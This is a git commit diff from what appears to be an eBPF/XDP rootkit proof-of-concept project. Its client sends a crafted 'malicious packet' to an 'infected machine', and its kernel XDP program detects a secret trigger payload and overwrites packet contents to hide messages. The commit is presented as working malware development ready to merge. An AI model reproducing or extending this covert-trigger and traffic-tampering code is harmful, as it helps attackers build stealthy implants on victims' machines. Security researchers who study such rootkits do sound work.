Fixed the client, now the payload shrinking is fully working, also the bug previously found seems to be nothing but an error of mine. Ready to merge!

This commit is contained in:
h3xduck
2021-11-27 19:08:38 -05:00
parent a1119894cd
commit 2999a090b7
10 changed files with 901 additions and 871 deletions

Binary file not shown.

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -124,13 +124,13 @@ void send_secret_packet(char* argv){
char* local_ip = getLocalIpAddress(); char* local_ip = getLocalIpAddress();
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
check_ip_address_format(argv); check_ip_address_format(argv);
packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, SECRET_PACKET_PAYLOAD); packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, SECRET_PACKET_PAYLOAD);
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n"); printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
//Sending the malicious payload //Sending the malicious payload
if(rawsocket_send(packet)<0){ if(rawsocket_send(packet)<0){
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n"); printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
}else{ }else{
printf("["KGRN"OK"RESET"]""Request to unhide successfully sent!\n"); printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n");
} }
free(local_ip); free(local_ip);
} }

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -3,6 +3,6 @@
#define SECRET_PACKET_PAYLOAD "XDP_PoC_0" #define SECRET_PACKET_PAYLOAD "XDP_PoC_0"
#define SECRET_PACKET_DEST_PORT 9000 #define SECRET_PACKET_DEST_PORT 9000
#define SUBSTITUTION_NEW_PAYLOAD "Nope" #define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"
#endif #endif

View File

@@ -60,8 +60,7 @@ int xdp_receive(struct xdp_md *ctx)
void *data_end = (void *)(long)ctx->data_end; void *data_end = (void *)(long)ctx->data_end;
void *data = (void *)(long)ctx->data; void *data = (void *)(long)ctx->data;
char match_pattern[] = SECRET_PACKET_PAYLOAD;
int match_pattern_size = 5;
unsigned int payload_size; unsigned int payload_size;
struct ethhdr *eth = data; struct ethhdr *eth = data;
char *payload; char *payload;
@@ -100,9 +99,9 @@ int xdp_receive(struct xdp_md *ctx)
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4); payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
payload = (void *)tcp + tcp->doff*4; payload = (void *)tcp + tcp->doff*4;
// We use "size - 1" to account for the final '\0' // We use "size - 1" to account for the final '\0', but depending on the program use
if (payload_size != sizeof(match_pattern) - 1) { if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
bpf_printk("F"); bpf_printk("F, PS:%i, P:%i, DE:%i\n", payload_size, payload, data_end);
return XDP_PASS; return XDP_PASS;
} }
@@ -113,7 +112,7 @@ int xdp_receive(struct xdp_md *ctx)
bpf_printk("Received valid TCP packet with payload %s of size %i\n", payload, payload_size); bpf_printk("Received valid TCP packet with payload %s of size %i\n", payload, payload_size);
// Compare each byte, exit if a difference is found. // Compare each byte, exit if a difference is found.
if(str_n_compare(payload, payload_size, match_pattern, sizeof(match_pattern), payload_size)!=0){ if(str_n_compare(payload, payload_size, SECRET_PACKET_PAYLOAD, sizeof(SECRET_PACKET_PAYLOAD), payload_size)!=0){
bpf_printk("H"); bpf_printk("H");
return XDP_PASS; return XDP_PASS;
} }